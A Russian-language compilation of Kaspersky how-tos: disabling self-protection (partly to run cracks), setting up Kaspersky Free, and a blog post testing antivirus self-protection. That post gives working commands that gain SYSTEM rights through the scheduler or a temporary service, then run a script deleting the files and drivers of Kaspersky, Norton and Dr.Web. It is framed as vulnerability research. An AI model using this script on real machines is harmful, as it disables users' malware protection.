В определённых ситуациях возникает необходимость отключить Касперского. Скажем, если необходимо открыть определённую страницу, но программа определяет её как потенциально опасную, или зловредную. Также, многие знают, что антивирусы убирают в карантин всевозможные crack’и и программы для взлома лицензий в ПО. В этом случае нет другого выхода, кроме как отключить самозащиту Касперского на время работы с такими утилитами.
Перед тем, как отключить Касперский, учтите, что после этого антивирус становится неактивным, то есть ваша система является абсолютно незащищённой перед всевозможными malware и вирусами. Таким образом, вы наражаете себя на потенциальную опасность.

Вам понадобятся:

Для того, чтобы отключить Касперский версии 2010 года, вам понадобится открыть главное окно антивируса (сделать это можно дважды щёлкнув на ярлык программы на панели задач, воспользовавшись ярлыком на рабочем столе, или отыскав Антивирус Касперского среди установленных программ в меню «Пуск).

После этого в правом верхнем окне ищем кнопку «Настройки». Перед вами появится окно настроек, в левой рабочей области которого будет доступен раздел «Параметры». Заходим в него, и убираем флажок рядом с строкой «Включить самозащиту». Подтверждаем изменения, нажав кнопку «ОК», и закрываем меню настроек. Это проще, чем пользоваться Kaspersky Rescue Disk .

В случае с 2011 версией, процедура будет похожа. Также, как и в прошлом случае, открываем окно настроек (оно находится в том же самом месте). После чего, переходим во вкладку «Самозащита». Смотрим на окно, которое располагается в правой части: там ищем опцию «Включить самозащиту».

Для того, чтобы отключить Касперского 2011снимаем флажок возле этого пункта, и сохраняем изменения при помощи кнопки «ОК». После завершения обязательно включите самозащиту. Если нужно, активируйте программу или продлите пробную версию Касперского .

Предостережения

Как мы уже говори, отключив самозащиту антивируса, вы не сможете проверить компьютер на вирусы и наряжаете его на потенциальную опасность. Так что делайте это только в случае крайней необходимости, и только в том случае, если вы на сто процентов уверенны в том, что ссылка, по которой вы хотите перейти, является абсолютно безопасной; а программа, которую собираетесь запустить или инсталлировать, не нанесёт вреда вашей операционной системе.

Помните, что предотвратить проникновение зловредного программного обеспечение намного легче, чем потом бороться с последствиями их активности.

Kaspersky Free - бесплатный антивирус Касперского, выпущенный Лабораторией Касперского, предоставляет качественную базовую защиту компьютера от вредоносных угроз. Бесплатный антивирус Касперского предоставляет защиту от разных видов вирусных угроз, сетевых атак, мошеннических действий.

В Kaspersky Free Antivirus находятся только самые необходимые компоненты, выполняющие роль основной защиты компьютера. Поэтому антивирус стал значительно легче и быстрее, теперь Kaspersky Free можно использовать на одном компьютере вместе с другими антивирусами. Антивирус Касперского Фри может подавать сообщения о других «несовместимых» антивирусных программах, но на самом деле он прекрасно уживается с другими антивирусами на одном компьютере.

Другой вопрос, а имеет ли смысл держать на одном компьютере другой антивирус с подобной функциональностью? В качестве второго антивируса, наряду с Kaspersky Free, можно использовать антивирусные программы второго эшелона защиты, типа .

Руководитель Лаборатории Касперского, Евгений Касперский сказал о бесплатном антивирусе Kaspersky FREE следующее:

Выпуск бесплатной версии антивируса Касперского произошел не спонтанно. Лаборатория Касперского долго исследовала этот вопрос. Они пришли к выводу, что аудитория платных и бесплатных антивирусных продуктов мало пересекается.

Пользователям платных антивирусов необходимы функции, которых нет в бесплатной версии антивируса (родительский контроль, защита онлайн-платежей, техническая поддержка, защита от кражи личных данных), поэтому он готовы приобрести платный продукт. В тоже время, некоторые пользователи бесплатной версии, после использования Kaspersky Free, захотят повысить общий уровень защищенности своего компьютера. Для этого они перейдут на платную версию антивируса Касперского. Миграция с платной версии на бесплатную версию будет минимальная, так как, мало кто будет согласен понизить уровень безопасности своего компьютера.

Бесплатный антивирус Kaspersky Free вначале вышел на русском языке для России и Украины. В данный момент времени антивирус вышел на мировой рынок, доступен всем пользователям.

Посмотрите на таблицу сравнения основных возможностей Kaspersky Free и Kaspersky Internet Security (этот антивирус установлен на моем компьютере).

С официального сайта Лаборатории Касперского (Kaspersky Lab) можно скачать веб-установщик Kaspersky Free.

kaspersky free скачать

Установка Kaspersky Free

Запустите файл установщика антивируса. В открывшемся окне нажмите на кнопку «Установить». Далее в окне «Лицензионное соглашение» примите условия лицензионного соглашения. В следующем окне «Преимущества Kaspersky Security Network» примите условия положения о KSN.

Затем начнется процесс установки антивируса на компьютер. Происходит проверка совместимости операционной системы и пакетов обновления программным требованиям, наличие несовместимых программ, наличие свободного места на диске. Для установки и активации антивируса необходимо подключение к интернету.

Антивирус будет загружен на компьютер, а затем начнется установка Kaspersky Free. После завершения установки программы, нажмите на кнопку «Завершить».

Сначала откроется окно с сообщением о подготовке к запуску программы, а затем откроется окно «Активация». После принятия данных с сервера, активация антивируса автоматически завершится.

Вам предложат создать учетную запись. Если вы не хотите регистрироваться, то игнорируйте такие сообщения. Подробный процесс установки бесплатного антивируса Kaspersky Free можно увидеть на видео, которое вы можете посмотреть под этой статьей.

Основные настройки Kaspersky Free

В главном окне Kaspersky Free отображается информация о состоянии защиты компьютера, в данном случае: «Компьютер защищен». В главном окне активны две кнопки: «Проверка» и «Обновление». Кнопки «Безопасные платежи» и «Родительский контроль» не активны, так как эти компоненты доступны в платной версии антивируса - Kaspersky Internet Security.

О состоянии защиты компьютера, в программе Kaspersky Free сигнализирует индикатор, который меняет цвет:

• зеленый цвет обозначает, что компьютер защищен
• желтый цвет сигнализирует о наличии проблем в защите
• красный цвет сообщает о серьезной угрозе для безопасности компьютера

Нажмите на кнопку «Подробнее». Откроется окно «Центр уведомлений», в котором нужно выполнить необходимые действия. Рекомендуется обновить базы и программные модули, а также установить Kaspersky Protection в браузер.

Расширение Kaspersky Protection необходимо для полноценной защиты браузера. Согласитесь на установку расширения в браузеры, установленные на вашем компьютере. В окне браузера, если увидите сообщение о необходимости установки расширения, согласитесь на установку Kaspersky Protection, а затем активируйте расширение.

Для запуска проверки компьютера, нажмите на кнопку «Проверка». В окне «Проверка» запускается проверка компьютера вручную. По умолчанию, в Kaspersky Free включена автоматическая проверка в режиме реального времени.

Сразу после установки антивируса на компьютер, необходимо выполнить полную проверку всех областей компьютера.

Запуск проверки выполняется вручную. В антивирусе Kaspersky Free доступны следующие варианты проверки:

• Полная проверка - проверка всех областей компьютера
• Быстрая проверка - проверка объектов, загружаемых при старте операционной системы
• Выборочная проверка - проверка объектов, добавляемых пользователем
• Проверка внешних устройств - проверка внешних устройств, подключенных к компьютеру

С помощью «Менеджера задач» можно контролировать проведение проверки и получить отчеты о ранее проведенных проверках. Проверку (полную или быструю) можно выполнять по расписанию. Для этого, в окне «Расписание проверки» составляется расписание, согласно которому антивирус будет выполнять проверку компьютера.

Для обновления антивирусных баз нажмите на кнопку «Обновление».

Обновление антивирусных баз и компонентов антивируса выполняется в автоматическом режиме, с определенной периодичностью. В окне «Обновление» можно обновить антивирусные базы и программные модули вручную, в любое время. Для этого, нажмите на кнопку «Обновить».

Управлять антивирусом можно из области уведомлений. Для этого нужно кликнуть правой кнопкой мыши по значку Kaspersky Free, а в контекстном меню выбрать необходимое действие.

Настройки Kaspersky Free

Для перехода к настройкам Kaspersky Free, нажмите на нижней панели на кнопку «Настройки».

Во вкладке «Общие» расположены настройки параметров работы бесплатного антивируса Касперского. По умолчанию, защита включена, работает интерактивная защита и автозапуск антивируса.

В антивирусе есть возможность установить защиту паролем для того, чтобы предотвратить изменение настроек, завершение работы или удаление антивируса.

С помощью настройки «Управление параметрами» вы сможете: «Импортировать параметры», «Экспортировать параметры», «Восстановить параметры», для изменения настроек параметров программы.

После клика по настройке «Параметры по умолчанию», можно изменить параметры работы антивируса.

Поддерживаются следующие уровни безопасности:

• «Максимальный уровень защиты» - рекомендуется при работе в случае высокой опасности, этот режим потребляет значительные ресурсы компьютера
• «Оптимальный уровень безопасности» - рекомендуется большинству пользователей
• «Минимальный уровень безопасности» - обеспечивает высокую производительность компьютера при минимальной защите

Во вкладке «Защита» находятся основные компоненты антивируса: «Файловый Антивирус», «IM-Антивирус», «Почтовый Антивирус», «Веб-Антивирус».

• «Файловый Антивирус» - проводит проверку всех открываемых, сохраняемых и запускаемых файлов, защищает файловую систему компьютера
• «IM-Антивирус» - проверка трафика интернет-мессенджеров на наличие вредоносных и фишинговых ссылок
• «Почтовый Антивирус» - проверка входящих и исходящих сообщений на наличие в них опасных объектов
• «Веб-Антивирус» - проверка входящего веб-трафика и предотвращение запуска на компьютере опасных скриптов

Компонент «Анти-Фишинг» встроен в Веб-Антивирус и IM-Антивирус. Входящая в состав антивируса экранная клавиатура защищает от перехвата данных, не позволяет поручить доступ к информации, которую злоумышленник может получить с помощью снимков экрана.

Во вкладке «Производительность» настраивается работа антивируса, при выполнении прикладных задач. Включен режим энергосбережения, активирован игровой профиль, заданы правила для использования ресурсов компьютера.

При помощи настройки «Приостановить работу Файлового Антивируса», вы можете остановить работу файлового антивируса на определенное время, или при запуске указанных программ.

Во вкладке «Проверка», можно изменить уровень безопасности, передвигая ползунок на предпочтительную позицию: высокий, рекомендуемый, или низкий. Здесь настраиваются параметры действия Kaspersky Free при обнаружении угрозы, и при подключении внешних устройств.

Проверку на поиск вирусов можно выполнить по расписанию. Нажмите на настройку «Расписание проверки», затем выберите тип проверки: «Полная проверка» или «Быстрая проверка», а в открывшемся окне выберите временной интервал между проверками.

Расширенную настройку антивируса рекомендуется использовать опытным пользователям. Вы должны понимать, что делаете, чтобы при неправильной настройке не снизить уровень защиты компьютера. По умолчанию, Kaspersky Free настроен оптимально, поэтому изменять настройки антивируса без необходимости не рекомендуется.

Возможный выбор вариантов расширенной настройки:

• Настройка полной проверки
• Настройка быстрой проверки
• Настройка выборочной проверки
• Область поиска уязвимостей
• Запускать задачи проверки с правами пользователя

С помощью дополнительных параметров можно гибко настроить каждый вариант проверки.

Во вкладке «Дополнительно» можно получить доступ к другим параметрам программы: «Обновление», «Угрозы и исключения», «Самозащита», «Сеть», «Уведомления», «Отчеты и карантин», «Дополнительные средства защиты и управления», «Вид».

В главном окне программы Kaspersky Free нажмите на кнопку «Больше функций».

В окне «Инструменты», в «Расширение защиты» предлагают перейти на Kaspersky Internet Security.
Войдите в окно «Облачная защита» для ознакомления с данными Kaspersky Security Network.

Для запуска экранной клавиатуры, которая защищает от перехвата данных, нажмите на кнопку «Экранная клавиатура».

Войдите в «Карантин», для того, чтобы получить доступ к объектам, помещенным на карантин антивирусом.

При обнаружении вируса, Kaspersky Free проводит лечение зараженного объекта. Если файл был вылечен антивирусом, то можно продолжить использование вылеченного файла на компьютере. Если лечение невозможно, то антивирус удалит зараженный файл с компьютера, а копия файла будет помещена на карантин. Проблемный файл, помещенный в эту особую изолированную область (карантин) надежно изолирован. Зараженный файл не может принести вред компьютеру.

Вы можете удалить файл из карантина, или, наоборот, восстановить (не рекомендуется).

Проверка на вирусы в Kaspersky Free

В окне «Проверка» в разделе «Проверка» запустите полную проверку компьютера.

При полной проверке компьютера будут проверены следующие области:

• системная память
• системное резервное хранилище
• жесткие и съемные диски

Быструю проверку можно запустить из главного окна программы. Будут проверены следующие объекты:

• загрузочные сектора диска
• системная память
• загружаемые объекты при запуске Windows

Выборочная проверка запускается из контекстного меню, или из главного окна программы. Выборочная проверка служит для проверки конкретного файла, папки или диска. Для проверки файла, кликните по нему правой кнопкой мыши, а затем в контекстном меню выберите пункт «Проверить на вирусы».

По завершении проверки вы можете ознакомиться с полученным результатом.

Удаление Kaspersky Free

Удаление бесплатного антивируса Kaspersky Free с компьютера производится из меню «Пуск». В списке «Все программы (приложения)» найдите папку Kaspersky Free, а в папке выберите «Удалить Kaspersky Free». Далее, после запуска утилиты удаления, пройдите этапы удаления программы.

Выводы статьи

Бесплатный антивирус Касперского - Kaspersky Free обеспечивает базовую защиту от вирусных угроз и действий вредоносных объектов. Антивирус Kaspersky Free подойдет тем пользователям, которые используют на своем компьютере бесплатные антивирусные программы.

Kaspersky Free. Бесплатный антивирус Касперского (видео)

Самозащита антивирусов или режем антивирус без ножа

• Антивирусная защита

Привет всем!

Недавно мы уже обсудили могущество эвристических технологий современных антивирусов и пришли к мнению, что верить никому нельзя. Даже иногда себе:)

Сегодня мы поговорим о другом спорном моменте антивирусов - самозащите. Некоторые вендоры очень серьёзно относятся к этому моменту, и их продукты выстаивают даже в сложных комплексных случаях активного заражения, эффективно снимая вирусные перехваты, устанавливаясь в систему и даже в последующем удаляя уже изрядно прописавшихся зловредов. Другие считают, что активное заражение - это битва с ветряными мельницами, не приводящая ни к чему путному, а потому - LiveCD, а в ряде случаев и format c:

Отдадим должное обоим оппонентам: безусловно, если есть возможность победить вирусное противостояние - это хорошо. Если только это не приводит к бсодам и загрузке системы на пару-тройку дней. И абсолютно очевидно, что при серьёзном и комплексном заражении зачастую невозможно пробиться через активную массу перехватов, вредоносных процессов на уровне ядра и прочего - а потому часто действительно разумнее провести лечение неактивной системы (с LiveCD или сканируя винчестер на незаражённой машине), ну а в случае разношёрстной файловой инфекции - и задуматься о полной переустановке ОС.

Но не будем предаваться спорам - оставим это для следующей статьи:) Поговорим о простом: о самозащите системы даже на заведомо незаражённой системе. И примем априори:

1) имеется комплексный продукт антивирус+хипс+файервол;
2) система была незаражена, но каким-то образом проник вредоносный код;
3) вредоносный код имеет своим намерением удалить антивирус или повредить его настолько, чтобы обеспечить полную неработоспособность.

Вариант действий будет самым простым - попытка удаления жизненно важных файлов антивируса с правами Local System. Идея такого подхода принадлежит моему хорошему другу Алексею Баранову, который сообщил о ней в закрытых кругах некоторое время назад. Время прошло, будем считать, что вендоры подтянулись - проверим это.

На Windows-системах, работая под администратором (а это, наверное, 80% всех систем) получить права Local System достаточно просто. В голову сразу приходит два способа, хорошо описанные в сети.

Способ 1. Использование планировщика.
По умолчанию, на всех Windows-системах работает служба планировщика задач. Эта служба запускает задачи с искомыми правами Local System. Тогда очень просто добавить задание как-то:
at 11:05 c:\killer.bat
и kill.bat запустится с правами Local System.

Преимущества очевидны: всё просто и ясно. Недостаток: пользователь может заметить странную новую задачу в планировщике, да и просто в целях безопасности отключить эту службу.

Способ 1. Создание службы.
Суть метода заключается в создании службы, её запуске и удалении. При этом всё реализуется в три строчки:
sc create CmdAsSystem type= own type= interact binPath= "cmd /c start /low /b cmd /c (c:\killer.bat)"
net start CmdAsSystem
sc delete CmdAsSystem

При этом мало того, что killer.bat запустится с приоритетом IDLE, он ещё и будет запущен от имени Local System.
Метод незаметен, никак не проявляет себя.

На момент публикования статьи KIS 2010 оба метода пропускал на уровне хипса, даже не запрашивая никаких разрешений.

Ну а теперь перейдём к самому killer.bat (в нашем случае он расположен в корне на диске С, но понятно, что закинуть его можно куда угодно).

Суть этого файла проста: удаляем всё, что принадлежит антивирусу. Так, для Касперского 2010 это будет:
net stop srservice
erase /F /S /Q "C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2010"
erase /F /S /Q "%windir%\system32\drivers\kl1.sys"
erase /F /S /Q "%windir%\system32\drivers\klif.sys"
erase /F /S /Q "%windir%\system32\drivers\klbg.sys"
erase /F /S /Q "%windir%\system32\drivers\klim5.sys"
erase /F /S /Q "%windir%\system32\drivers\klmd.sys"
erase /F /S /Q "%windir%\system32\drivers\klmouflt.sys"

Для Symantec что-то типа (кто знает точнее - поправьте, сам-то я на Касперском):
net stop srservice
erase /F /S /Q "C:\Program Files\Symantec"
erase /F /S /Q "C:\Program Files\Norton Internet Security"
shutdown -r -f -c "Bye-Bye!!!"

Для Доктора Веба:
net stop srservice
erase /F /S /Q "C:\Program Files\DrWeb"
erase /F /S /Q "%windir%\system32\drivers\dwprot.sys"
erase /F /S /Q "%windir%\system32\drivers\drwebaf.sys"
erase /F /S /Q "%windir%\system32\drivers\DrWebPF.sys"
erase /F /S /Q "%windir%\system32\drivers\spiderg3.sys"
shutdown -r -f -c "Bye-Bye!!!"

Понятно, что аналогичный скрипт можно прописать для всех антивирусов - суть изменять пути к жизненно важным файлам.

Итого - что же мы имеем?

1. KIS 2010 получил такой урон, что был убит, и система осталась без защиты. KIS 2011 лишён этой половой слабости - но он же всё ещё бета…
2. NIS потерял несколько файлов, но работоспособность не нарушилась, файлы впоследствии были скачаны и восстановлены при обновлении из Интернет.
3. DrWeb вообще не пострадал, что и ожидалось, принимая во внимание особый упор разработчика на противостояние инфекции. Но не забываем, что для Веба есть SpiDie …

При этом хипсы указанных продуктов спокойно пропустили оба варианта манипуляций (КИС проверил лично).

ВЫВОДЫ
К сожалению, приходится констатировать факт, что некоторые из существующих антивирусных решений имеют ряд уязвимостей, которые могут быть использованы для повреждения защиты и фактически удалению антивируса с компьютера.

Предлагается в комментариях дополнить наблюдения и исследования по другим антивирусным продуктам (желательно с хипс, чтобы оценить и уровень блокировки действий по получению прав Local System). Думаю, что описанные манипуляции понятны и могут быть легко воспроизведены на виртуальных машинах энтузиастов.

Cheers!

Теги:

• самозащита
• уязвимости
• антивирус

Антивирус Касперского имеет многоступенчатую систему защиты ОС и личных данных от вирусов и других вредоносных программ, и потому является важнейшим звеном системы безопасности компьютера. Даже временное его отключение нежелательно, поскольку вирус может заразить Windows мгновенно, когда вы меньше всего этого ждете. Но в некоторых случаях не обойтись без отключения антивируса, поскольку слишком агрессивная его защита может блокировать запуск и нормальную работу некоторых программ и сайтов.

Отключайте антивирус лишь тогда, когда это действительно необходимо и других вариантов нет. Забыв включить его, вы рискуете заразить ваш компьютер вредоносными программами и потом долго от них избавляться. Пользуйтесь исключениями для конфликтных приложений вместо отключения Касперского, чтобы не подвергать риску безопасность ОС и личных данных.